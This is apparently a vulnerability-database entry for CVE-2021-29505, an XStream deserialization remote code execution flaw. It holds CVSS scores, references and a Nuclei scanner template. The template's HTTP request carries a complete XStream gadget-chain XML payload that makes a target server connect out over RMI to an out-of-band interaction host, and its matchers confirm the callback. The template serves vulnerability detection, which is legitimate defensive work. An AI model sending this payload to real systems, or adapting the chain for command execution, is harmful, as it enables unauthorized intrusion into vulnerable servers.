8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.9 High
AI Score
Confidence
High
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.048 Low
EPSS
Percentile
92.6%
XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
id: CVE-2021-29505
info:
name: XStream <1.4.17 - Remote Code Execution
author: pwnhxl
severity: high
description: |
XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
remediation: Patched in 1.4.17.
reference:
- https://paper.seebug.org/1543/
- https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29505
- https://github.com/x-stream/xstream/security/advisories/GHSA-7chv-rrw6-w6fc
- https://nvd.nist.gov/vuln/detail/cve-2021-29505
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-29505
cwe-id: CWE-502
epss-score: 0.04677
epss-percentile: 0.91814
cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: xstream_project
product: xstream
tags: cve2021,cve,oast,vulhub,xstream,deserialization,rce,xstream_project
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>{{interactsh-url}}</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>{{interactsh-url}}</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "timestamp"
- "com.thoughtworks.xstream"
condition: or
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 500
# digest: 4b0a00483046022100dbbd8f5e47047dc1ce75b7aa5cebea7678b2035517dd765160b1b31106393cd7022100b3ecc5d68e800b780f78acdae9aa0f9f80b4d2b8778cc7a32e7fce49e0ff5c60:922c64590222798bb761d5b6d8e72950
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.9 High
AI Score
Confidence
High
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.048 Low
EPSS
Percentile
92.6%